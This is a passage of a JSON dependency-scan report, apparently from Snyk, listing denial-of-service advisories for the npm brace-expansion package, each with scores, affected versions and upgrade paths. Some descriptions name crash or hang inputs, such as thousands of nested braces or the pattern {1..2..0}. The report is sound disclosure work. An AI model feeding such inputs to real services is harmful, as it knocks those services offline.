"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmexec@8.1.3",
"pacote@18.0.6",
"npm-registry-fetch@17.1.0",
"make-fetch-happen@13.0.1",
"cacache@18.0.3",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmexec@10.3.4",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
